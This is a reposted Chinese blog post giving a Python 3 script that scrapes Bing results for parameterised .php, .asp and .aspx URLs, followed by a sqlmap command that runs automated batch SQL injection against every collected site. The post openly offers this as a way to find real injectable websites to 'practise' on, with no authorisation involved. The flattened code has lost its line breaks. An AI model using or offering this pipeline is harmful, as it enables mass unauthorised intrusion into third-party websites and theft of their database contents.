注入一直都是用sqlmap??導致本來就不怎么精通的手工注入現在就忘的一干二凈
想實戰練習??卻一時又找不到有注入的網站? ?于是便有了這篇文章

想找個批量獲取域名鏈接的工具? ?但都是只是獲取域名而已??都沒獲取后面的參數
于是自己寫了個
只獲取bing前10頁的結果??輸入q 結束循環 并開始整理數據

?

#!/usr/bin/env python # -*- conding:utf-8 -*- import re import urllib.request,urllib.parselogo = '''_______ ___ ___ _ |__ __| / _ \ / _ \ | | | | | | | | | | | | | | ___ | | | | | | | | | | | | / __|| | | |_| | | |_| | | | \__ \\|_| \___/ \___/ |_| |___/''' print(logo) def Obtain_url(): #爬抓bing獲取urlpage = ['', '&first=11&FORM=PERE', '&first=21&FORM=PERE1', '&first=31&FORM=PERE2','&first=41&FORM=PERE3', '&first=51&FORM=PERE4', '&first=61&FORM=PERE5','&first=71&FORM=PERE6', '&first=81&FORM=PERE7', '&first=91&FORM=PERE8']headers = {'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 'r'Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3','Referer': r'http://www.baidu.com','Connection': 'keep-alive'}while True: #一直循環輸入關鍵字crux = input('請輸入關鍵字：')if crux == 'q': #判斷關鍵字是否為q 是就結束循環breakcrux = urllib.parse.quote(crux) #解決編碼報錯問題with open('url.txt', 'a', encoding='utf-8') as f:for i in page:content = urllib.request.Request('https://cn.bing.com/search?q='+crux+i,headers=headers)contents = urllib.request.urlopen(content).read().decode('utf-8')res = re.compile(r'<h2><a target="_blank" href="(.*?)"')data = res.findall(contents)for i in data:print(i)f.write(i+'\n')def url(): #處理bing爬抓下來的鏈接url = []with open('url.txt','r',encoding='utf-8') as f: #讀取文件內容到列表里for i in f.readlines():url.append(i)data = list(set(url)) #去重url列表data = sorted(data) #排列順序with open('new_url.txt','a',encoding='utf-8') as f: #判斷url是否有.php? .asp? .aspx?for i in data:res = re.compile(r'\.php\?')datas = res.findall(i)if datas != []:f.write(i)else:res = re.compile(r'\.asp\?')datas = res.findall(i)if datas != []:f.write(i)else:res = re.compile(r'\.aspx\?')datas = res.findall(i)if datas != []:f.write(i) Obtain_url() url()

?

?

輸入q
結束循環并開始處理數據

url.txt 是爬抓的鏈接數據
new_url.txt 是處理后的數據

復制 new_url.txt 到sqlmap根目錄

sqlmap.py -m new_url.txt --batch --smart

-m是用new_url.txt里面的鏈接批量注入??--batch自動選擇??--smart快速注入

?

注入的結果在C:\Users\Administrator\.sqlmap\output 文件下
類似results-04242018_0624pm.csv的文件中

?

轉載于:https://www.cnblogs.com/smxiazi/p/8954594.html

創作挑戰賽新人創作獎勵來咯，堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的批量找注入 python3+sqlmap结合的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。